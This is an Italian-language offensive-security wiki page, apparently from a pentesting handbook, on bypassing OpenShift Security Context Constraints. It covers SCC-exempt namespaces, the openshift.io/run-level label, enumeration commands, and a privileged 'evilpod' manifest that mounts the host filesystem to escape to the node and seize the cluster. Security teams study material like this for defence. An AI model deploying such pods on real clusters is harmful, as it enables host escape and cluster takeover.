# Openshift - SCC bypass
**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Namespaces Privilegiati
Per impostazione predefinita, SCC non si applica ai seguenti progetti:
- **default**
- **kube-system**
- **kube-public**
- **openshift-node**
- **openshift-infra**
- **openshift**
Se distribuisci pod all'interno di uno di questi namespaces, non verrà applicato alcun SCC, consentendo la distribuzione di pod privilegiati o il montaggio del file system host.
## Etichetta del Namespace
Esiste un modo per disabilitare l'applicazione di SCC sul tuo pod secondo la documentazione di RedHat. Dovrai avere almeno uno dei seguenti permessi:
- Creare un Namespace e Creare un Pod in questo Namespace
- Modificare un Namespace e Creare un Pod in questo Namespace
```bash
$ oc auth can-i create namespaces
yes
$ oc auth can-i patch namespaces
yes
```
L'etichetta specifica `openshift.io/run-level` consente agli utenti di eludere le SCC per le applicazioni. Secondo la documentazione di RedHat, quando questa etichetta è utilizzata, nessuna SCC è applicata a tutti i pod all'interno di quel namespace, rimuovendo effettivamente qualsiasi restrizione.

$ oc get pod -o yaml | grep 'openshift.io/scc'
$
In assenza di SCC, non ci sono restrizioni sulla definizione del tuo pod. Questo significa che un pod malevolo può essere facilmente creato per evadere sul sistema host.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
Ora è diventato più facile elevare i privilegi per accedere al sistema host e successivamente prendere il controllo dell'intero cluster, ottenendo privilegi 'cluster-admin'. Cerca la parte **Node-Post Exploitation** nella seguente pagina:
{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}
### Etichette personalizzate
Inoltre, in base alla configurazione target, alcune etichette / annotazioni personalizzate possono essere utilizzate nello stesso modo dello scenario di attacco precedente. Anche se non è stato creato per, le etichette potrebbero essere utilizzate per concedere permessi, limitare o meno una risorsa specifica.
Cerca di individuare etichette personalizzate se puoi leggere alcune risorse. Ecco un elenco di risorse interessanti:
- Pod
- Deployment
- Namespace
- Service
- Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## Elenca tutti i namespace privilegiati
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Exploit avanzato
In OpenShift, come dimostrato in precedenza, avere il permesso di distribuire un pod in uno spazio dei nomi con l'etichetta `openshift.io/run-level` può portare a un takeover diretto del cluster. Dal punto di vista delle impostazioni del cluster, questa funzionalità **non può essere disabilitata**, poiché è intrinseca al design di OpenShift.
Tuttavia, misure di mitigazione come **Open Policy Agent GateKeeper** possono impedire agli utenti di impostare questa etichetta.
Per bypassare le regole di GateKeeper e impostare questa etichetta per eseguire un takeover del cluster, **gli attaccanti dovrebbero identificare metodi alternativi.**
## Riferimenti
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)